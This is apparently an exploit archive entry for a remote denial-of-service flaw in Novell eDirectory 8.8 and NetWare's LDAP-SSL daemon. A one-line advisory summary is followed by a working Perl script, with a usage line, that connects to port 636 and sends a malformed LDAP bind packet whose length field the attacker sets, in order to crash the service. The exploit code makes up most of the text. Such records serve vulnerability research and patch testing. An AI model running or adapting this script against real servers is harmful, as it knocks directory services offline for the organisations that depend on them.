Novell eDirectory 8.8 and Netware LDAP-SSL Daemon – Denial of Service
source: https://www.securityfocus.com/bid/47858/info Novell eDirectory and Netware are prone to a denial-of-service vulnerability. Remote attackers can exploit this issue to cause a system-wide denial-of-service. #!/usr/bin/perl # usage: ./novell.pl 10.0.0.1 0x41424344 use IO::Socket::SSL; $socket = new IO::Socket::SSL(Proto=>"tcp", PeerAddr=>$ARGV[0], PeerPort=>636); die "unable to connect to $host:$port ($!)\n" unless $socket; print $socket "\x30\x84" . pack("N",hex($ARGV[1])) . "\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ; close $socket; print "done\n"; |